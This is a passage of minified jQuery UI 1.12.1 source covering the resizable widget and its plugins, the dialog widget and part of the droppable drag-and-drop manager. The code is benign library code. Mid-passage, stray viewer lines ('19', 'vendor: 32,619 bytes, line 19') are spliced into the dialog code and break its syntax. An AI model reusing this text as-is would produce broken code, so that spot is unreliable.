this._updatePrevProperties(),h?(i=h.apply(this,[e,a,r]),this._updateVirtualBoundaries(e.shiftKey),(this._aspectRatio||e.shiftKey)&&(i=this._updateRatio(i,e)),i=this._respectSize(i,e),this._updateCache(i),this._propagate("resize",e),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),t.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",e,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(e){this.resizing=!1;var i,s,n,o,a,r,h,l=this.options,c=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],"left")?0:c.sizeDiff.height,o=s?0:c.sizeDiff.width,a={width:c.helper.width()-o,height:c.helper.height()-n},r=parseFloat(c.element.css("left"))+(c.position.left-c.originalPosition.left)||null,h=parseFloat(c.element.css("top"))+(c.position.top-c.originalPosition.top)||null,l.animate||this.element.css(t.extend(a,{top:h,left:r})),c.helper.height(c.size.height),c.helper.width(c.size.width),this._helper&&!l.animate&&this._proportionallyResize()),t("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",e),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var t={};return this.position.top!==this.prevPosition.top&&(t.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(t.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(t.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(t.height=this.size.height+"px"),this.helper.css(t),t},_updateVirtualBoundaries:function(t){var e,i,s,n,o,a=this.options;o={minWidth:this._isNumber(a.minWidth)?a.minWidth:0,maxWidth:this._isNumber(a.maxWidth)?a.maxWidth:1/0,minHeight:this._isNumber(a.minHeight)?a.minHeight:0,maxHeight:this._isNumber(a.maxHeight)?a.maxHeight:1/0},(this._aspectRatio||t)&&(e=o.minHeight*this.aspectRatio,s=o.minWidth/this.aspectRatio,i=o.maxHeight*this.aspectRatio,n=o.maxWidth/this.aspectRatio,e>o.minWidth&&(o.minWidth=e),s>o.minHeight&&(o.minHeight=s),o.maxWidth>i&&(o.maxWidth=i),o.maxHeight>n&&(o.maxHeight=n)),this._vBoundaries=o},_updateCache:function(t){this.offset=this.helper.offset(),this._isNumber(t.left)&&(this.position.left=t.left),this._isNumber(t.top)&&(this.position.top=t.top),this._isNumber(t.height)&&(this.size.height=t.height),this._isNumber(t.width)&&(this.size.width=t.width)},_updateRatio:function(t){var e=this.position,i=this.size,s=this.axis;return this._isNumber(t.height)?t.width=t.height*this.aspectRatio:this._isNumber(t.width)&&(t.height=t.width/this.aspectRatio),"sw"===s&&(t.left=e.left+(i.width-t.width),t.top=null),"nw"===s&&(t.top=e.top+(i.height-t.height),t.left=e.left+(i.width-t.width)),t},_respectSize:function(t){var e=this._vBoundaries,i=this.axis,s=this._isNumber(t.width)&&e.maxWidth&&e.maxWidth<t.width,n=this._isNumber(t.height)&&e.maxHeight&&e.maxHeight<t.height,o=this._isNumber(t.width)&&e.minWidth&&e.minWidth>t.width,a=this._isNumber(t.height)&&e.minHeight&&e.minHeight>t.height,r=this.originalPosition.left+this.originalSize.width,h=this.originalPosition.top+this.originalSize.height,l=/sw|nw|w/.test(i),c=/nw|ne|n/.test(i);return o&&(t.width=e.minWidth),a&&(t.height=e.minHeight),s&&(t.width=e.maxWidth),n&&(t.height=e.maxHeight),o&&l&&(t.left=r-e.minWidth),s&&l&&(t.left=r-e.maxWidth),a&&c&&(t.top=h-e.minHeight),n&&c&&(t.top=h-e.maxHeight),t.width||t.height||t.left||!t.top?t.width||t.height||t.top||!t.left||(t.left=null):t.top=null,t},_getPaddingPlusBorderDimensions:function(t){for(var e=0,i=[],s=[t.css("borderTopWidth"),t.css("borderRightWidth"),t.css("borderBottomWidth"),t.css("borderLeftWidth")],n=[t.css("paddingTop"),t.css("paddingRight"),t.css("paddingBottom"),t.css("paddingLeft")];4>e;e++)i[e]=parseFloat(s[e])||0,i[e]+=parseFloat(n[e])||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var t,e=0,i=this.helper||this.element;this._proportionallyResizeElements.length>e;e++)t=this._proportionallyResizeElements[e],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(t)),t.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var e=this.element,i=this.options;this.elementOffset=e.offset(),this._helper?(this.helper=this.helper||t("<div style='overflow:hidden;'></div>"),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(t,e){return{width:this.originalSize.width+e}},w:function(t,e){var i=this.originalSize,s=this.originalPosition;return{left:s.left+e,width:i.width-e}},n:function(t,e,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(t,e,i){return{height:this.originalSize.height+i}},se:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},sw:function(e,i,s){return t.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[e,i,s]))},ne:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[e,i,s]))},nw:function(e,i,s){return t.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[e,i,s]))}},_propagate:function(e,i){t.ui.plugin.call(this,e,[i,this.ui()]),"resize"!==e&&this._trigger(e,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),t.ui.plugin.add("resizable","animate",{stop:function(e){var i=t(this).resizable("instance"),s=i.options,n=i._proportionallyResizeElements,o=n.length&&/textarea/i.test(n[0].nodeName),a=o&&i._hasScroll(n[0],"left")?0:i.sizeDiff.height,r=o?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-a},l=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,c=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null;i.element.animate(t.extend(h,c&&l?{top:c,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseFloat(i.element.css("width")),height:parseFloat(i.element.css("height")),top:parseFloat(i.element.css("top")),left:parseFloat(i.element.css("left"))};n&&n.length&&t(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",e)}})}}),t.ui.plugin.add("resizable","containment",{start:function(){var e,i,s,n,o,a,r,h=t(this).resizable("instance"),l=h.options,c=h.element,u=l.containment,d=u instanceof t?u.get(0):/parent/.test(u)?c.parent().get(0):u;d&&(h.containerElement=t(d),/document/.test(u)||u===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:t(document),left:0,top:0,width:t(document).width(),height:t(document).height()||document.body.parentNode.scrollHeight}):(e=t(d),i=[],t(["Top","Right","Left","Bottom"]).each(function(t,s){i[t]=h._num(e.css("padding"+s))}),h.containerOffset=e.offset(),h.containerPosition=e.position(),h.containerSize={height:e.innerHeight()-i[3],width:e.innerWidth()-i[1]},s=h.containerOffset,n=h.containerSize.height,o=h.containerSize.width,a=h._hasScroll(d,"left")?d.scrollWidth:o,r=h._hasScroll(d)?d.scrollHeight:n,h.parentData={element:d,left:s.left,top:s.top,width:a,height:r}))},resize:function(e){var i,s,n,o,a=t(this).resizable("instance"),r=a.options,h=a.containerOffset,l=a.position,c=a._aspectRatio||e.shiftKey,u={top:0,left:0},d=a.containerElement,p=!0;d[0]!==document&&/static/.test(d.css("position"))&&(u=h),l.left<(a._helper?h.left:0)&&(a.size.width=a.size.width+(a._helper?a.position.left-h.left:a.position.left-u.left),c&&(a.size.height=a.size.width/a.aspectRatio,p=!1),a.position.left=r.helper?h.left:0),l.top<(a._helper?h.top:0)&&(a.size.height=a.size.height+(a._helper?a.position.top-h.top:a.position.top),c&&(a.size.width=a.size.height*a.aspectRatio,p=!1),a.position.top=a._helper?h.top:0),n=a.containerElement.get(0)===a.element.parent().get(0),o=/relative|absolute/.test(a.containerElement.css("position")),n&&o?(a.offset.left=a.parentData.left+a.position.left,a.offset.top=a.parentData.top+a.position.top):(a.offset.left=a.element.offset().left,a.offset.top=a.element.offset().top),i=Math.abs(a.sizeDiff.width+(a._helper?a.offset.left-u.left:a.offset.left-h.left)),s=Math.abs(a.sizeDiff.height+(a._helper?a.offset.top-u.top:a.offset.top-h.top)),i+a.size.width>=a.parentData.width&&(a.size.width=a.parentData.width-i,c&&(a.size.height=a.size.width/a.aspectRatio,p=!1)),s+a.size.height>=a.parentData.height&&(a.size.height=a.parentData.height-s,c&&(a.size.width=a.size.height*a.aspectRatio,p=!1)),p||(a.position.left=a.prevPosition.left,a.position.top=a.prevPosition.top,a.size.width=a.prevSize.width,a.size.height=a.prevSize.height)},stop:function(){var e=t(this).resizable("instance"),i=e.options,s=e.containerOffset,n=e.containerPosition,o=e.containerElement,a=t(e.helper),r=a.offset(),h=a.outerWidth()-e.sizeDiff.width,l=a.outerHeight()-e.sizeDiff.height;e._helper&&!i.animate&&/relative/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l}),e._helper&&!i.animate&&/static/.test(o.css("position"))&&t(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),t.ui.plugin.add("resizable","alsoResize",{start:function(){var e=t(this).resizable("instance"),i=e.options;t(i.alsoResize).each(function(){var e=t(this);e.data("ui-resizable-alsoresize",{width:parseFloat(e.width()),height:parseFloat(e.height()),left:parseFloat(e.css("left")),top:parseFloat(e.css("top"))})})},resize:function(e,i){var s=t(this).resizable("instance"),n=s.options,o=s.originalSize,a=s.originalPosition,r={height:s.size.height-o.height||0,width:s.size.width-o.width||0,top:s.position.top-a.top||0,left:s.position.left-a.left||0};t(n.alsoResize).each(function(){var e=t(this),s=t(this).data("ui-resizable-alsoresize"),n={},o=e.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];t.each(o,function(t,e){var i=(s[e]||0)+(r[e]||0);i&&i>=0&&(n[e]=i||null)}),e.css(n)})},stop:function(){t(this).removeData("ui-resizable-alsoresize")}}),t.ui.plugin.add("resizable","ghost",{start:function(){var e=t(this).resizable("instance"),i=e.size;e.ghost=e.originalElement.clone(),e.ghost.css({opacity:.25,display:"block",position:"relative",height:i.height,width:i.width,margin:0,left:0,top:0}),e._addClass(e.ghost,"ui-resizable-ghost"),t.uiBackCompat!==!1&&"string"==typeof e.options.ghost&&e.ghost.addClass(this.options.ghost),e.ghost.appendTo(e.helper)},resize:function(){var e=t(this).resizable("instance");e.ghost&&e.ghost.css({position:"relative",height:e.size.height,width:e.size.width})},stop:function(){var e=t(this).resizable("instance");e.ghost&&e.helper&&e.helper.get(0).removeChild(e.ghost.get(0))}}),t.ui.plugin.add("resizable","grid",{resize:function(){var e,i=t(this).resizable("instance"),s=i.options,n=i.size,o=i.originalSize,a=i.originalPosition,r=i.axis,h="number"==typeof s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,c=h[1]||1,u=Math.round((n.width-o.width)/l)*l,d=Math.round((n.height-o.height)/c)*c,p=o.width+u,f=o.height+d,g=s.maxWidth&&p>s.maxWidth,m=s.maxHeight&&f>s.maxHeight,_=s.minWidth&&s.minWidth>p,v=s.minHeight&&s.minHeight>f;s.grid=h,_&&(p+=l),v&&(f+=c),g&&(p-=l),m&&(f-=c),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=a.top-d):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=a.left-u):((0>=f-c||0>=p-l)&&(e=i._getPaddingPlusBorderDimensions(this)),f-c>0?(i.size.height=f,i.position.top=a.top-d):(f=c-e.height,i.size.height=f,i.position.top=a.top+o.height-f),p-l>0?(i.size.width=p,i.position.left=a.left-u):(p=l-e.width,i.size.width=p,i.position.left=a.left+o.width-p))}}),t.ui.resizable,t.widget("ui.dialog",{version:"1.12.1",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(e){var i=t(this).css(e).offset().top;0>i&&t(this).css("top",e.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),null==this.options.title&&null!=this.originalTitle&&(this.options.title=this.originalTitle),this.options.disabled&&(this.options.disabled=!1),this._createWrapper(),this.element.show().removeAttr("title").appendTo(this.uiDialog),this._addClass("ui-dialog-content","ui-widget-content"),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&t.fn.draggable&&this._makeDraggable(),this.options.resizable&&t.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var e=this.options.appendTo;return e&&(e.jquery||e.nodeType)?t(e):this.document.find(e||"body").eq(0)},_destroy:function(){var t,e=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().css(this.originalCss).detach(),this.uiDialog.remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),t=e.parent.children().eq(e.index),t.length&&t[0]!==this.element[0]?t.before(this.element):e.parent.append(this.element)},widget:function(){return this.uiDialog
19
vendor: 32,619 bytes, line 19
19},disable:t.noop,enable:t.noop,close:function(e){var i=this;this._isOpen&&this._trigger("beforeClose",e)!==!1&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||t.ui.safeBlur(t.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,function(){i._trigger("close",e)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(e,i){var s=!1,n=this.uiDialog.siblings(".ui-front:visible").map(function(){return+t(this).css("z-index")}).get(),o=Math.max.apply(null,n);return o>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",o+1),s=!0),s&&!i&&this._trigger("focus",e),s},open:function(){var e=this;return this._isOpen?(this._moveToTop()&&this._focusTabbable(),void 0):(this._isOpen=!0,this.opener=t(t.ui.safeActiveElement(this.document[0])),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,function(){e._focusTabbable(),e._trigger("focus")}),this._makeFocusTarget(),this._trigger("open"),void 0)},_focusTabbable:function(){var t=this._focusedElement;t||(t=this.element.find("[autofocus]")),t.length||(t=this.element.find(":tabbable")),t.length||(t=this.uiDialogButtonPane.find(":tabbable")),t.length||(t=this.uiDialogTitlebarClose.filter(":tabbable")),t.length||(t=this.uiDialog),t.eq(0).trigger("focus")},_keepFocus:function(e){function i(){var e=t.ui.safeActiveElement(this.document[0]),i=this.uiDialog[0]===e||t.contains(this.uiDialog[0],e);i||this._focusTabbable()}e.preventDefault(),i.call(this),this._delay(i)},_createWrapper:function(){this.uiDialog=t("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content ui-front"),this._on(this.uiDialog,{keydown:function(e){if(this.options.closeOnEscape&&!e.isDefaultPrevented()&&e.keyCode&&e.keyCode===t.ui.keyCode.ESCAPE)return e.preventDefault(),this.close(e),void 0;if(e.keyCode===t.ui.keyCode.TAB&&!e.isDefaultPrevented()){var i=this.uiDialog.find(":tabbable"),s=i.filter(":first"),n=i.filter(":last");e.target!==n[0]&&e.target!==this.uiDialog[0]||e.shiftKey?e.target!==s[0]&&e.target!==this.uiDialog[0]||!e.shiftKey||(this._delay(function(){n.trigger("focus")}),e.preventDefault()):(this._delay(function(){s.trigger("focus")}),e.preventDefault())}},mousedown:function(t){this._moveToTop(t)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var e;this.uiDialogTitlebar=t("<div>"),this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix"),this._on(this.uiDialogTitlebar,{mousedown:function(e){t(e.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}}),this.uiDialogTitlebarClose=t("<button type='button'></button>").button({label:t("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar),this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close"),this._on(this.uiDialogTitlebarClose,{click:function(t){t.preventDefault(),this.close(t)}}),e=t("<span>").uniqueId().prependTo(this.uiDialogTitlebar),this._addClass(e,"ui-dialog-title"),this._title(e),this.uiDialogTitlebar.prependTo(this.uiDialog),this.uiDialog.attr({"aria-labelledby":e.attr("id")})},_title:function(t){this.options.title?t.text(this.options.title):t.html(" ")},_createButtonPane:function(){this.uiDialogButtonPane=t("<div>"),this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix"),this.uiButtonSet=t("<div>").appendTo(this.uiDialogButtonPane),this._addClass(this.uiButtonSet,"ui-dialog-buttonset"),this._createButtons()},_createButtons:function(){var e=this,i=this.options.buttons;return this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),t.isEmptyObject(i)||t.isArray(i)&&!i.length?(this._removeClass(this.uiDialog,"ui-dialog-buttons"),void 0):(t.each(i,function(i,s){var n,o;s=t.isFunction(s)?{click:s,text:i}:s,s=t.extend({type:"button"},s),n=s.click,o={icon:s.icon,iconPosition:s.iconPosition,showLabel:s.showLabel,icons:s.icons,text:s.text},delete s.click,delete s.icon,delete s.iconPosition,delete s.showLabel,delete s.icons,"boolean"==typeof s.text&&delete s.text,t("<button></button>",s).button(o).appendTo(e.uiButtonSet).on("click",function(){n.apply(e.element[0],arguments)})}),this._addClass(this.uiDialog,"ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog),void 0)},_makeDraggable:function(){function e(t){return{position:t.position,offset:t.offset}}var i=this,s=this.options;this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(s,n){i._addClass(t(this),"ui-dialog-dragging"),i._blockFrames(),i._trigger("dragStart",s,e(n))},drag:function(t,s){i._trigger("drag",t,e(s))},stop:function(n,o){var a=o.offset.left-i.document.scrollLeft(),r=o.offset.top-i.document.scrollTop();s.position={my:"left top",at:"left"+(a>=0?"+":"")+a+" "+"top"+(r>=0?"+":"")+r,of:i.window},i._removeClass(t(this),"ui-dialog-dragging"),i._unblockFrames(),i._trigger("dragStop",n,e(o))}})},_makeResizable:function(){function e(t){return{originalPosition:t.originalPosition,originalSize:t.originalSize,position:t.position,size:t.size}}var i=this,s=this.options,n=s.resizable,o=this.uiDialog.css("position"),a="string"==typeof n?n:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:s.maxWidth,maxHeight:s.maxHeight,minWidth:s.minWidth,minHeight:this._minHeight(),handles:a,start:function(s,n){i._addClass(t(this),"ui-dialog-resizing"),i._blockFrames(),i._trigger("resizeStart",s,e(n))},resize:function(t,s){i._trigger("resize",t,e(s))},stop:function(n,o){var a=i.uiDialog.offset(),r=a.left-i.document.scrollLeft(),h=a.top-i.document.scrollTop();s.height=i.uiDialog.height(),s.width=i.uiDialog.width(),s.position={my:"left top",at:"left"+(r>=0?"+":"")+r+" "+"top"+(h>=0?"+":"")+h,of:i.window},i._removeClass(t(this),"ui-dialog-resizing"),i._unblockFrames(),i._trigger("resizeStop",n,e(o))}}).css("position",o)},_trackFocus:function(){this._on(this.widget(),{focusin:function(e){this._makeFocusTarget(),this._focusedElement=t(e.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var e=this._trackingInstances(),i=t.inArray(this,e);-1!==i&&e.splice(i,1)},_trackingInstances:function(){var t=this.document.data("ui-dialog-instances");return t||(t=[],this.document.data("ui-dialog-instances",t)),t},_minHeight:function(){var t=this.options;return"auto"===t.height?t.minHeight:Math.min(t.minHeight,t.height)},_position:function(){var t=this.uiDialog.is(":visible");t||this.uiDialog.show(),this.uiDialog.position(this.options.position),t||this.uiDialog.hide()},_setOptions:function(e){var i=this,s=!1,n={};t.each(e,function(t,e){i._setOption(t,e),t in i.sizeRelatedOptions&&(s=!0),t in i.resizableRelatedOptions&&(n[t]=e)}),s&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",n)},_setOption:function(e,i){var s,n,o=this.uiDialog;"disabled"!==e&&(this._super(e,i),"appendTo"===e&&this.uiDialog.appendTo(this._appendTo()),"buttons"===e&&this._createButtons(),"closeText"===e&&this.uiDialogTitlebarClose.button({label:t("<a>").text(""+this.options.closeText).html()}),"draggable"===e&&(s=o.is(":data(ui-draggable)"),s&&!i&&o.draggable("destroy"),!s&&i&&this._makeDraggable()),"position"===e&&this._position(),"resizable"===e&&(n=o.is(":data(ui-resizable)"),n&&!i&&o.resizable("destroy"),n&&"string"==typeof i&&o.resizable("option","handles",i),n||i===!1||this._makeResizable()),"title"===e&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var t,e,i,s=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),t=this.uiDialog.css({height:"auto",width:s.width}).outerHeight(),e=Math.max(0,s.minHeight-t),i="number"==typeof s.maxHeight?Math.max(0,s.maxHeight-t):"none","auto"===s.height?this.element.css({minHeight:e,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,s.height-t)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var e=t(this);return t("<div>").css({position:"absolute",width:e.outerWidth(),height:e.outerHeight()}).appendTo(e.parent()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(e){return t(e.target).closest(".ui-dialog").length?!0:!!t(e.target).closest(".ui-datepicker").length},_createOverlay:function(){if(this.options.modal){var e=!0;this._delay(function(){e=!1}),this.document.data("ui-dialog-overlays")||this._on(this.document,{focusin:function(t){e||this._allowInteraction(t)||(t.preventDefault(),this._trackingInstances()[0]._focusTabbable())}}),this.overlay=t("<div>").appendTo(this._appendTo()),this._addClass(this.overlay,null,"ui-widget-overlay ui-front"),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1)}},_destroyOverlay:function(){if(this.options.modal&&this.overlay){var t=this.document.data("ui-dialog-overlays")-1;t?this.document.data("ui-dialog-overlays",t):(this._off(this.document,"focusin"),this.document.removeData("ui-dialog-overlays")),this.overlay.remove(),this.overlay=null}}}),t.uiBackCompat!==!1&&t.widget("ui.dialog",t.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super(),this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(t,e){"dialogClass"===t&&this.uiDialog.removeClass(this.options.dialogClass).addClass(e),this._superApply(arguments)}}),t.ui.dialog,t.widget("ui.droppable",{version:"1.12.1",widgetEventPrefix:"drop",options:{accept:"*",addClasses:!0,greedy:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var e,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=t.isFunction(s)?s:function(t){return t.is(s)},this.proportions=function(){return arguments.length?(e=arguments[0],void 0):e?e:e={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},this._addToManager(i.scope),i.addClasses&&this._addClass("ui-droppable")},_addToManager:function(e){t.ui.ddmanager.droppables[e]=t.ui.ddmanager.droppables[e]||[],t.ui.ddmanager.droppables[e].push(this)},_splice:function(t){for(var e=0;t.length>e;e++)t[e]===this&&t.splice(e,1)},_destroy:function(){var e=t.ui.ddmanager.droppables[this.options.scope];this._splice(e)},_setOption:function(e,i){if("accept"===e)this.accept=t.isFunction(i)?i:function(t){return t.is(i)};else if("scope"===e){var s=t.ui.ddmanager.droppables[this.options.scope];this._splice(s),this._addToManager(i)}this._super(e,i)},_activate:function(e){var i=t.ui.ddmanager.current;this._addActiveClass(),i&&this._trigger("activate",e,this.ui(i))},_deactivate:function(e){var i=t.ui.ddmanager.current;this._removeActiveClass(),i&&this._trigger("deactivate",e,this.ui(i))},_over:function(e){var i=t.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._addHoverClass(),this._trigger("over",e,this.ui(i)))},_out:function(e){var i=t.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this._removeHoverClass(),this._trigger("out",e,this.ui(i)))},_drop:function(e,i){var s=i||t.ui.ddmanager.current,n=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var i=t(this).droppable("instance");return i.options.greedy&&!i.options.disabled&&i.options.scope===s.options.scope&&i.accept.call(i.element[0],s.currentItem||s.element)&&v(s,t.extend(i,{offset:i.element.offset()}),i.options.tolerance,e)?(n=!0,!1):void 0}),n?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this._removeActiveClass(),this._removeHoverClass(),this._trigger("drop",e,this.ui(s)),this.element):!1):!1},ui:function(t){return{draggable:t.currentItem||t.element,helper:t.helper,position:t.position,offset:t.positionAbs}},_addHoverClass:function(){this._addClass("ui-droppable-hover")},_removeHoverClass:function(){this._removeClass("ui-droppable-hover")},_addActiveClass:function(){this._addClass("ui-droppable-active")},_removeActiveClass:function(){this._removeClass("ui-droppable-active")}});var v=t.ui.intersect=function(){function t(t,e,i){return t>=e&&e+i>t}return function(e,i,s,n){if(!i.offset)return!1;var o=(e.positionAbs||e.position.absolute).left+e.margins.left,a=(e.positionAbs||e.position.absolute).top+e.margins.top,r=o+e.helperProportions.width,h=a+e.helperProportions.height,l=i.offset.left,c=i.offset.top,u=l+i.proportions().width,d=c+i.proportions().height;switch(s){case"fit":return o>=l&&u>=r&&a>=c&&d>=h;case"intersect":return o+e.helperProportions.width/2>l&&u>r-e.helperProportions.width/2&&a+e.helperProportions.height/2>c&&d>h-e.helperProportions.height/2;case"pointer":return t(n.pageY,c,i.proportions().height)&&t(n.pageX,l,i.proportions().width);case"touch":return(a>=c&&d>=a||h>=c&&d>=h||c>a&&h>d)&&(o>=l&&u>=o||r>=l&&u>=r||l>o&&r>u);default:return!1}}}();t.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(e,i){var s,n,o=t.ui.ddmanager.droppables[e.options.scope]||[],a=i?i.type:null,r=(e.currentItem||e.element).find(":data(ui-droppable)").addBack();t:for(s=0;o.length>s;s++)if(!(o[s].options.disabled||e&&!o[s].accept.call(o[s].element[0],e.currentItem||e.element))){for(n=0;r.length>n;n++)if(r[n]===o[s].element[0]){o[s].proportions().height=0;continue t}o[s].visible="none"!==o[s].element.css("display"),o[s].visible&&("mousedown"===a&&o[s]._activate.call(o[s],i),o[s].offset=o[s].element.offset(),o[s].proportions({width:o[s].element[0].offsetWidth,height:o[s].element[0].offsetHeight}))}},drop:function(e,i){var s=!1;return t.each((t.ui.ddmanager.droppables[e.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&v(e,this,this.options.tolerance,i)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],e.currentItem||e.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(e,i){e.element.parentsUntil("body").on("scroll.droppable",function(){e.options.refreshPositions||t.ui.ddmanager.prepareOffsets(e,i)})},drag:function(e,i){e.options.refreshPositions&&t.ui.ddmanager.prepareOffsets(e,i),t.each(t.ui.ddmanager.droppables[e.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,n,o,a=v(e,this,this.options.tolerance,i),r=!a&&this.isover?"isout":a&&!this.isover?"isover":null;r&&(this.options.greedy&&(n=this.options.scope,o=this.element.parents(":data(ui-droppable)").filter(function(){return 